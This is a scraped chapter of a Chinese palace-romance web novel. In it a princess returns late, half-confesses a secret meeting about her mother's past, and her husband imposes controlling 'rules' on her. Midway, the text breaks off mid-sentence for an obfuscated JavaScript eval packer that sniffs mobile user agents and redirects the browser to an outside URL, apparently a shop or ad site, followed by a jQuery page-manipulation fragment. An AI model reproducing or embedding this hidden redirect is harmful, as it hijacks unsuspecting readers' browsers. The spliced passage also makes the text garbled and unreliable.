61. 第61章
作品:《锦帐晞光》 铅云低垂,日色晦暗,马车终是驶回了锦王府。
戚云晞掌心冰凉,心中斟酌了无数遍说辞,随着车轮一圈一圈地转动,那些说辞已在她舌尖滚得发烫。
雪晴掀帘望了望天,面白如纸:“主子,看这天色……怕是已过申时许久了。”
戚云晞心口猛地一坠。
完了!
那句“若敢晚归一刻,本王便让人拆了那净月庵的山门”言犹在耳。
她不敢再有半分耽搁,甫一下车便径直往靖和堂去。
雪晴亦步亦趋紧随其后。
何顺垂手立在廊下,低声禀道:“王爷在内室暖阁。”
戚云晞吩咐雪晴候在外头,深吸一口气,撩起棉帘闪身而入。
炭火暖香扑面而来,慕容湛如旧斜倚临窗的软榻上,手中握着一册书,仿佛浑然未觉她进来。
旁边小几上温着一壶茶,白汽袅袅。
她稳着步子行至榻前,依礼深深屈膝:“臣妾回来了,给王爷请安。”
慕容湛目光未离书页,恍若未闻。
满室阒然,静得只听见案上那座小巧的赤金刻漏,发出规律而清晰的“滴答”,“滴答”,一声一声,不疾不徐,却重重敲在戚云晞的心头。
这般死寂……未免太过反常。
她只觉膝弯微微发软。
良久,慕容湛才如刚察觉般,淡淡开口:“舍得回来了?”
他头也未抬,似乎连看她一眼都懒怠,声音亦听不出喜怒。
戚云晞:……
完了,这是真动气了。
她忙又上前一步,藏在袖中的指尖狠狠掐了自己一下,借着那点锐痛稳住心神,垂眸道:“臣妾回来迟了,请王爷责罚。”
“哦?”
他漫不经心地翻过一页书,“迟了多久?”
戚云晞循着那一声声沉闷的滴漏望去,斟酌片刻,才小声道:“约……两刻钟。”
“两刻钟。”
他重复了一遍,依旧没有看她,“够拆两次山门了。净月庵的景致,就这般流连?”
戚云晞:……
他果然没打算轻易放过她。
按着准备好的说辞,她谨慎回道:“臣妾在碑林……多耽搁了片刻。”
“耽搁……”
慕容湛终于放下书册,抬眸看向她。
那双凤眸深不见底,平静无波,却让她脊背瞬间绷直。
不必绕弯子了。
小错可辩,大祸需坦。
只是韩岳的底细……还不到全盘托出的时候。
说出七分真,留下三分毒,即可。
戚云晞心一横,抬眸迎上他的目光,眼眶瞬间泛红,水雾氤氲:“王爷明鉴,臣妾并非流连景致。今日在碑林见了韩大人,他告知了臣妾生母的旧事。”
“越娘……恐与十八年前英国公府的旧案脱不了干系。她……她原是英国公的嫡小姐。她当年的病故并非偶然,甚至……臣妾身上的毒,亦是因此而来。”
“此事关乎重大,臣妾一时心急追问得细了些,竟忘了时辰。未料正问到关键处,恰遇翰林院的林修撰奉旨勘碑,韩大人便匆匆离去了。”
话音未落,便见他眸色疾沉,瞬间压得人喘不过气来。
她生怕他误会,慌忙抢白道:“彼时雪晴与方泉皆在臣妾身侧,绝非私谈。林修撰既已照面,臣妾身为王妃,若仓促避开反显心虚,有损王府体面,故而只得依礼相见。”
“臣妾深知不该与外臣多言,可林修撰恰见韩大人在碑林,他借公务离去,林修撰心下生疑。臣妾彼时心中惶恐,只言‘韩大人确曾问及北郊旧事’,并言明王府当日仅是设棚施粥,详情并不知晓。林修撰闻言便未再多问,旋即告退了。”
她声音软了下来,巴巴望着他:“晞儿将这一切告知王爷,是因为……此事凶险,往后臣妾的性命安危,乃至母亲的沉冤,都只能系于王爷一身了。”
话音落下,暖阁内一片寂静。
慕容湛脸上没有任何震惊之色,只是眸色沉得骇人,仿佛早已料到,又仿佛在消化这可怕的信息。
良久,他才缓缓开口:“韩岳还说了什么?他为何要告诉你这些?”
她咬着唇,露出一副后怕又茫然的神情:“他只言此案有冤,似有同情之意。臣妾当时只顾着震惊与惧怕,并未深思……如今想来,他一个外臣,竟对王府内眷的身世如此‘推心置腹’,确实不合常理。“
“王爷,臣妾……是不是又惹麻烦了?”
“麻烦?”
他声音冷峭,“戚云晞,你现在才觉得这是麻烦?”
“从你踏进净月庵,去见韩岳的那一刻起,你就已经是个麻烦了。一个会走、会想、会把自己往阎王殿里送的……大麻烦。”
“英国公府……缠丝扣……被人追杀的遗孤……”
他每说一个词,语气就沉一分,眸底已是风雨欲来。
“你以为,你现在轻飘飘一句‘系于王爷一身’,就能把这泼天的祸事,全推到本王头上?”
“王爷——”
戚云晞被他话里的寒意刺得脸色发白,刚欲解释,却被他毫不留情地打断。
“韩岳同情旧案?”
他一声冷笑,眼底尽是讥诮,“他一个玄羽卫北镇抚使,诏狱里爬出来的人,会为了同情,就把这等抄家灭族的秘密,告诉一个王府女眷?”
“他是另有所图,还是……”
他微微后仰,将头靠在软榻上的隐枕上,闭上了眼睛,“你与他之间,有什么本王不知道的旧情,让他甘冒奇险?”
戚云晞身子猛地一震,他闭上眼那无声的压迫,比直视更让她心惊。
他究竟……查到了哪一步?
她泪珠瞬间涌了上来,上前两步,蹲下身,轻轻扯了扯他的袖口,仰起头:“王爷这话……是在怀疑臣妾清白?臣妾在王爷心中,就是那种会与外臣私相授受、不知廉耻的女子么?”
“是臣妾应对得不好,又耽误了回府时辰,让王爷担心了……您要怎么罚,臣妾都认。可王爷若疑晞儿与外臣有私……这污名,比杀了晞儿更甚。”
“王爷是晞儿的夫君,是晞儿在这世上唯一的倚靠。除此,再无其他。”
良久。
慕容湛徐徐睁开眼,语气却平淡得可怕:“雪晴、方泉、林修撰……桩桩件件都有人证,倒显得本王是在无理取闹,冤枉了你?”
“不敢……”
她声音细若蚊蚋,眸光潋滟,纤长的眼睫轻轻颤着,犹挂着几颗摇摇欲坠的泪珠,“王爷是关心臣妾,臣妾知道的。”
“本王再问你一次。”
慕容湛目光锁着她,全然无视她这副楚楚可怜的模样,沉声道:“关于旧案,他还说了什么?你确定……没有遗漏什么关键?”
戚云晞身子一颤,下意识地避开他灼人的视线,急急摇头道:“真的……并无其他了。他匆匆离去,未及多言。”
“匆匆离去?未及多言?”
他眸底寒光几乎溢出,语气骤然凌厉,“戚云晞,你当本王是傻子,还是当他韩岳是傻子?”
这丫头,把这天大的祸事推给了他,却将那韩岳护得严实。
戚云晞:……
完了。
他果然不信。
可韩岳的身份,是绝不能认的。认了,他便必死无疑。她不能让越家绝后。
“王爷……息怒!”
她吓得身子一软,双膝磕在冰冷的青砖上,面上梨花带雨,哭着道:“臣妾……岂敢!臣妾只是吓破了胆,尚躲而不及,哪还有心思去深究一个外臣为何多言?臣妾知错了,要打要罚……都认了。”
慕容湛居高临下地看着跪在地上瑟瑟发抖的女
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076491|193308||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人,额心那点朱砂在暖光下显得格外妖异,“既然吓破了胆,那就给本王好好在府里养着。”
他抬臂俯身,手腕一翻,反手一扣,修长的手指精准地扣入她的指缝。
那指腹带着薄茧,温度滚烫,顺着指尖瞬间蔓延至她的心底,挠得人心尖发颤。
他指尖微微收紧,“至于怎么‘养’……规矩,由本王来定。”
戚云晞指尖蜷缩了一下,终是没抽回,从喉间溢出一丝压抑的沙哑:“……是。”
示弱也示了,认罚也认了,这人却软硬不吃。
果然是块焐不热的石头。
“你的顺从,本王收到了。”
慕容湛忽然松开了手,向后靠回软榻,目光空空地落在房梁某处,声音恢复了一贯的疏淡,“但规矩,不是用耳朵听的,是用身子记的。”
灼人的温度骤然抽离,让戚云晞指尖微微一凉,心尖随之颤了一下。
他并未看她,只缓缓道:“从今日起,本王亲自教你,什么叫‘规矩’。”
“其一,侍疾。”
“即日起,你便是本王的贴身侍女。本王处理公务时,你须在一旁研墨伺候,不得有片刻离了本王视线。本王歇息时,你便守在榻前,戴着眼罩思过,不许偷看,不许出声。”
“其二,谨言。”
“这一月之内,非本王问话,不许在本王面前提外人半句,也不得巧言辩白。若是逾矩,便罚你研墨到夜半,陪本王处置公务。”
“其三,去留。”
“这一月之内,你便安心住下。何时你把这‘不知轻重’的毛病改了,何时你这‘侍疾’的差事才算完。”
室内一片死寂。
戚云晞猛地抬头,难以置信地看着他。
这是哪门子的规矩,分明是……变着法子,要把她拴在他的裤腰带上!
“至于那净月庵的山门……”
他顿了顿,目光在她泪湿的眼睫与惊惶的脸上打了个转,冷冷道,“本王改主意了。拆了死物,哪有调教活人来得有趣,且有用?”
戚云晞:……
调教?
他竟有这等驯兽的字眼来形容她?!
好……好一个锦王爷。
山门不拆了,改折她的骨头了。
把她锁在身边,蒙上眼,闭上嘴,当成个玩意儿一样摆弄……这便是他所谓的“规矩”?
从未有过的羞耻感涌上心头……
“怎么?”
慕容湛挑眉,凤眸寒意稍霁,意味深长地打量着她瞬间涨红的脸,“王妃这是……不愿?”
“……王爷。”
她声音带着一丝未散的哭腔,垂下眼帘,掩去所有的情绪,似认命般,起身行了一个无比端正的礼。
“臣妾……遵命。”
“你这次,确实是惹了个天大的麻烦。”
他将视线缓缓下落,重新投在她身上,“既系于本王,那从此,你的命,你的毒,你的仇,你的怕……便都由本王接手。是福是祸,是生是死,都由本王说了算。外人——无权过问,更无权插手。”
“至于你……”
他刻意将视线移开,不再看她,眼底透着一丝挥之不去的疲惫。
“从今日起,把你那些无用的害怕、还有对外人可笑的指望,都给本王收起来。”
“你只需要记住一件事:想活命,想查清真相,想护住你想护的人……”
“你唯一的路,就是老老实实待在本王划定的规矩里,做好你的‘本分’。”
“现在,”
他嗓音微哑,“你该去尽你第一个‘本分’了。”
“本王乏了,需静卧。你,知道该怎么做。”
他重新阖上眼,仿佛真的倦极。
但那紧绷着的下颌线和微微起伏的胸膛,却泄露了他内心远非表面这般平静。

